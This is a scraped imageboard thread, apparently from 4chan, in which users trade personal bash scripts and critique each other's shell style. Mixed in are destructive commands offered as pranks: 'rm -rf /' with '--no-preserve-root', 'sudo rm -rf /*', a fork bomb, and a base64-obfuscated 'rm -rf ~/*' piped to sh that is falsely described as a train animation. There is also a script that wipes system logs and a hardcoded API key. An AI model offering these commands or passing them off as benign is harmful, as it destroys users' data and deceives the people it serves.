Bash Thread

Anyone up for sharing useful bash scripts?

Other urls found in this thread:

wttr.in/London'
museum.state.il.us/ismdepts/library/linuxguides/abs-guide/
twitter.com/NSFWRedditImage

……………………„„-~^^~„-„„_
………………„-^*'' : : „'' : : : : *-„
…………..„-* : : :„„--/ : : : : : : : '\
…………./ : : „-* . .| : : : : : : : : '|
……….../ : „-* . . . | : : : : : : : : |
………...\„-* . . . . .| : : : : : : : :'|
……….../ . . . . . . '| : : : : : : : :|
……..../ . . . . . . . .'\ : : : : : : : |
……../ . . . . . . . . . .\ : : : : : : :|
……./ . . . . . . . . . . . '\ : : : : : /
….../ . . . . . . . . . . . . . *-„„„„-*'
….'/ . . . . . . . . . . . . . . '|
…/ . . . . . . . ./ . . . . . . .|
../ . . . . . . . .'/ . . . . . . .'|
./ . . . . . . . . / . . . . . . .'|
'/ . . . . . . . . . . . . . . . .'|
'| . . . . . \ . . . . . . . . . .|
'| . . . . . . \„_^- „ . . . . .'|
'| . . . . . . . . .'\ .\ ./ '/ . |
| .\ . .THE . . . \ .'' / . '|
| . . . GAME . / .'/ . . .|
| . . . . . . .| . . / ./ ./ . .|

Install GNU Parallel

rm -rf /

:(){ :|:& };:

yall think webM bash scripts will work on windows bash?

wat?

>using bash
install zsh

#!/bin/bash
BADARG="165"

if [ $# != 2 ]
then
echo two parameters are required!
exit "$BADARG"
fi

for file in `ls -A "$1"`
do
if [ -d "$2" ]
then
mv "$file" $2\/"$file"
else
mv "$file" "$file"."$2"
fi
done

#END

i prefer my shell scripts to be portable, thanks

this is my favorite one

>for file in `ls -A "$1"`

Kill me now. Use this

>for file in $1/*

Otherwise if you have a filename with spaces in it, etc.. you run into problems

call it 'nt' and run it like so:
'nt 2' or 'nt 2 echo "hi"'

it creates a new terminal from the cwd of the one you're currently starting it from. it also executes a command in the spawned one. you'll likely have to hack it a bit to work

#!/usr/bin/env bash
set -euo pipefail

function is_number() {
# no number given, start one term by default
if [ "${#}" -eq 0 ]; then
echo '1'
return 0
fi

case ${1} in
''|*[!0-9]*) echo '1';;
*) echo ${1};;
esac

return 0
}

function is_command() {
if [ "${#}" -eq 0 ]; then
# no command given, just start a shell
echo ":"
else
# pass command and start a shell after it
echo "${@}"
fi;

return 0
}


function spawn_terms() {
local cmd=${@:2}
local exec_cmd=""

case "${TERMINAL}" in
*lxterminal)
if [ "${cmd}" != ":" ]; then
echo "lxterminal doesn't support spawning AND command execution."
fi

exec_cmd="${TERMINAL} --working-directory='${PWD}' -e '${SHELL}'"
;;
*urxvtc)
exec_cmd="${TERMINAL} -cd '${PWD}' -e ${SHELL} -c \"${cmd}; exec ${SHELL} -i\""
;;
*termite)
exec_cmd="${TERMINAL} -d '${PWD}' -e \"${SHELL} -c '${cmd};${SHELL}'\""
;;
*)
echo "unknown terminal name ${TERMINAL}, assuming urxvt interface."
exec_cmd="${TERMINAL} -cd '${PWD}' -e ${SHELL} -c \"${cmd}; exec ${SHELL} -i\""
;;
esac

for i in $(seq 1 ${1}); do
eval "${exec_cmd}"
done

return 0
}

function main() {
local num_terms=$(is_number ${@:1})
local shell_cmd=$(is_command ${@:2})
spawn_terms ${num_terms} ${shell_cmd}

return 0
}

main "${@}"

Suddenly commands in my script won't run past a while block.
What do? Permissions check out and it was running fine before I left the VM to do uploads.

$1 expands to "VALUE".
By using $1\* you're doing similar.

>BADARG="165"
>exit "$BADARG"
What's the point of this? Just exit 165

>#END
boi

#!/usr/bin/env bash

navyseal_copypasta="What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo."

if [ "$(uname)" == "Darwin" ]; then
say $navyseal_copypasta
else
echo $navyseal_copypasta | espeak
fi

>rm -rf /
--no-preserve-root

If you use mpd, mpc and last.fm, this (might be useful to you. It makes a playlist of all the tracks you loved in last. fm. Constructive criticism appreciated.

#!/bin/bash

read -rp "Type your username: " input
username=$input

lastfm_key="f9e25a0e8454787a5cb9a840cc9b6baf"
url="ws.audioscrobbler.com"
path="/2.0/?method=user.getLovedTracks&user=$username&api_key=$lastfm_key&limit=1000"
beginning_lines="

btw, replace the echo -e "" with echo -e "\n"

Another script I made. You can set a bind to read videos, (and pictures), from the clipboard. requires feh, xsel and mpv

-en
#!/bin/sh

notify-send -u low -t 1 'Loading...'
xsel | grep -q -e .jpg$ -e .png$ -e .bmp$
if [ "$?" -eq "0" ]; then
feh -FYZ $(xsel)
exit 0
fi

mpv $(xsel)
[ "$?" -eq "0" ] || notify-send 'Error Found...'

>implying I would ever consider running a command containing the words --no-preserve-root

function up( )
{
LIMIT=$1
P=$PWD
for ((i=1; i

this can't be real.

?????

This guy's been around for years. Hard to say how deep cover he is.

Use ksh or ash instead.

Anybody have a bash script for backing up an entire centos 7 desktop pc? Like everything down to the browser configuration. I'm new to this

I'll give you a tip for free. centos isn't for desktop PCs

dd if=/dev/sda1 of=/dev/sdb1

probably if you have ffmpeg installed

you can install bash on windows 10. actually it's basically a whole ubuntu subsystem

do your own work

oh yeah I'm waiting for something to blow up and I will probably get bash as soon as it's not in the preview but as an actual update.
Does it work inside a windows cmd like terminal? or is it actually a different executable?

I'm running it right now it's using gnome 3 DE. Unless you mean it's not the best to use as a desktop os
and is geared towards enterprise and servers then I agree.
Thanks
Thank you also for being honest :^)

zsh can't do stuff like
((++i%x)) && echo "Hello World"

oh and you could also just get/build ffmpeg for windows and modify the scripts for batch or powershell

it runs in a terminal emulator so it looks like a cmd window, but it's a different executable and the environments are somewhat separate. you can install ubuntu packages but they're limited to the ubuntu environment. at least files are accessible from both environments. i imagine that there's probably a way to call the bash executable and forward arguments to it from the windows environment though, which would add at least a bit of flexibility

leave. now!

If you're a real hacker
echo $'\n'

Just did this, nothing happend.

>read -rp "Type your username: " input
username=$input

Why not?
read -rp "Type your username: " username

>oh and you could also just get/build ffmpeg for windows and modify the scripts for batch or powershell

easier said than done

Damn, you're right...

>bash
>not sh

#!/bin/sh -e

case "$(uname)" in
"Linux")
RECFLAG=-R;;
"OpenBSD")
RECFLAG=-RP;;
*)
echo "$(basename "$0"): unknown os \"$(uname)\", can not set \
RECFLAG" >&2
false;;
esac

mkpubdirs () {
if [ "$1" != "$HOME" ]
then
mkpubdirs "$(dirname "$1")"
fi
chmod go=u-w "$1"
}

mkpub () {
if ( [ -f "$1" ] || [ -d "$1" ] ) && [ ! -h "$1" ]
then
echo "publishing $(ls -dF "$1")"
mkpubdirs "$(dirname "$1")"
chmod $RECFLAG go=u-w "$1"
fi
}

echo "locking $(env -i ls -dF "$HOME")"
chmod -R a-st,go= "$HOME"
chown -R $(id -u):$(id -g) "$HOME"

mkpub "$HOME/.bash_aliases"
mkpub "$HOME/.bash_profile"
mkpub "$HOME/.bashrc"
mkpub "$HOME/.config/redshift.conf"
mkpub "$HOME/.emacs"
mkpub "$HOME/.emacs.d/lisp"
mkpub "$HOME/.env"
mkpub "$HOME/.env.sh"
mkpub "$HOME/.hgrc"
mkpub "$HOME/.i3status.conf"
mkpub "$HOME/.inputrc"
mkpub "$HOME/.local/share/wesnoth"
mkpub "$HOME/.ssh/authorized_keys"
mkpub "$HOME/.ssh/config"
mkpub "$HOME/.ssh/id_rsa.pub"
mkpub "$HOME/.ssh/id_rsa_aur.pub"
mkpub "$HOME/.ssh/known_hosts"
mkpub "$HOME/.xinitrc"
mkpub "$HOME/.xresources"
mkpub "$HOME/.xsession"
mkpub "$HOME/AUR"
mkpub "$HOME/PERSO/LowDefMkv"
mkpub "$HOME/PERSO/PUBLIC"
mkpub "$HOME/PERSO/SanDisk"
mkpub "$HOME/PERSO/audio"
mkpub "$HOME/PERSO/images"
mkpub "$HOME/Transmission"
mkpub "$HOME/git"
mkpub "$HOME/local"
mkpub "$HOME/mercurial"

sudo !!

>not using zsh

>not scripting in sh regardless of what shell you use

curl --silent 'wttr.in/London' | head -7


to display the weather of London with some cool art.

##Show the weather in the desired city##
weather() {
curl -s "wttr.in/${1:-Amsterdam}" | head -7
}

How did you learn bash scripting?

Can you post some good resources?

museum.state.il.us/ismdepts/library/linuxguides/abs-guide/

thanks, is there a pdf version of this, my connection is kinda shit where I am rn

nvm found it

aww man this is my favourite one
echo 'cm0gLXJmIH4vKgo=' | base64 -D | sh


Try it out, a steam locomotive goes across the screen.

I'm too afraid to try that out :(

All that gave me was an invalid option error.

$ echo 'cm0gLXJmIH4vKgo=' | base64 -d
rm -rf ~/*

but his won't work since -D isn't even an option.

Windows babby coming through.

dev () {
if [ "$1" == "-p" ]; then
pythonexec="--python=$2"
shift
shift
elif [ "${1:0:9}" == "--python=" ]; then
pythonexec="$1"
shift
fi

cd ~/d/Pythong

if [ "$*" == "" ]; then
deactivate
title
fi

if [ ! "$*" = "" ]; then
if [ ! -d "$*/$*" ]; then
mkdir -p "$1/$1"
fi
cd "$*/$*"

envname=$(echo "$*" | sed "s/ /-/")
title "$envname"
if [ ! -d "$WORKON_HOME/$envname" ]; then
mkvirtualenv "$pythonexec" "$envname"
else
workon "$envname"
fi
fi
}

Wrote this to move into a project directory and activate the virtual environment for it, or set it all up if it doesn't exist. I was reasonably happy with it, so why not show it to Sup Forums so they can shit on me.

Holy shit

You're not fooling anyone faggot.

You're no fun

sudo rm -rf /*
also works

...

Yes user, I'm completely assblasted because you lack a sense of humour

But I don't, user!

Sure thing bud

:^)

I use this shitty script to keep my AUR pacakges up to date
#! /bin/bash
cd $HOME/AUR
for dir in */ ; do
cd $dir
git pull
ver=$(grep -m 1 pkgver PKGBUILD)
ver=${ver#*=}
if [[ "$ver" = "\${_ver//-/}" ]]; then
ver=$(grep -m 1 _ver PKGBUILD)
ver=${ver#*=}
fi
cver=$(pacman -Q ${dir%/*})
cver=${cver#* }
cver=${cver%-*}
if [[ "$cver" = "$ver" ]]; then
echo "nothing to do for ${dir%/*} "
else
echo "${dir%/*} is not up to date"
while true; do
read -p "Do you wish to upgrade?(y/n)" yn
case $yn in
y )
makepkg -sri
break;;
n ) break;;
* ) echo "please answer (y/n)"
esac
done
fi
rm -rfv *.pkg.tar.gz
rm -rfv ${dir%/*}
echo '-------------------------------'
cd ..
done

A script to change the backlight of my laptop because the brightness inc/dec buttons didn't just werk
can set or increase/decrease the brightness to an absolute or a percent value, prints the current brightness if called with no arguments
#!/bin/bash
if [[ $# -eq 0 ]] ; then
n=$(cat /sys/class/backlight/intel_backlight/brightness)
echo $n \($(echo $n/4794*100 | bc -l | cut -d . -f 1)%\)
exit
fi
if [[ $1 == *"%"* ]] ; then
n=$(echo $1/100*4794 | sed 's/[%+-]//g' | bc -l | cut -d . -f 1)
else
n=$1
fi
if [[ $1 == *"+" ]] ; then
echo $(cat /sys/class/backlight/intel_backlight/brightness)+$n | bc -l > /sys/class/backlight/intel_backlight/brightness
elif [[ $1 == *"-" ]] ; then
echo $(cat /sys/class/backlight/intel_backlight/brightness)-$n | bc -l > /sys/class/backlight/intel_backlight/brightness
else
echo $n > /sys/class/backlight/intel_backlight/brightness
fi

That's neat user.
Would it be possible to do the same with keyboards?

Got a Thinkpad X240 with backlit keyboard and been wondering whether it was possible to programmatically interact with the lighting.

I assume you need specific drivers for this?

I didn't need anything special to change the backlight, don't know about keyboards
Check the /sys/class/ folder, chances are it's in there, I think all the leds on my thinkpad are there too, but I haven't figured out how to control them yet

I checked /sys/class/leds but it's empy. I noticed there's also a /sys/class/backlight folder, but it is also empty.

Thanks tho.

I started a thread to ask this question a few days ago, but got no answer.

Why the fuck does bash not remove the backslash when escaping ! Inside a double quote. There seems to be no rationale, and it is seriously annoying.

#!/bin/bash

# This shell script empties syslog-ng files

if [ -f /var/log/auth.log ]
then
echo "" > /var/log/auth.log
if [ -f /var/log/auth.log.old ]
then
rm /var/log/auth.log.old
fi
fi

if [ -f /var/log/dmesg ]
then
echo "" > /var/log/dmesg
if [ -f /var/log/dmesg.old ]
then
rm /var/log/dmesg
fi
fi

if [ -f /var/log/messages ]
then
echo "" > /var/log/messages
if [ -f /var/log/messages.old ]
then
rm /var/log/messages.old
fi
fi

>doesn't bind keys

?
I made the script in order to bind it to those keys if you mean that

>espeak
thanks for this buddy

>-en
what's this?

# For the benefit of emacs users: -*- shell-script -*-
###########################
# xbindkeys configuration #
###########################
# The format of a command line is:
# "command to start"
# associated key
#
#
# A list of keys is in /usr/include/X11/keysym.h and in
# /usr/include/X11/keysymdef.h
# The XK_ is not needed.
#
# List of modifier:
# Release, Control, Shift, Mod1 (Alt), Mod2 (NumLock),
# Mod3 (CapsLock), Mod4, Mod5 (Scroll).
#

"urxvt"
Mod4 + t

"iceweasel"
Mod4 + w

"thunar"
Mod4 + f

"amixer set Master 5%+"
Mod4 + Up

"amixer set Master 5%-"
Mod4 + Down

"amixer set Master toggle"
Mod4 + F8

"xbacklight -inc 10"
Mod4 + Right

"xbacklight -dec 10"
Mod4 + Left


##################################
# End of xbindkeys configuration #
##################################

a little easier i think

needs xbindkeys tho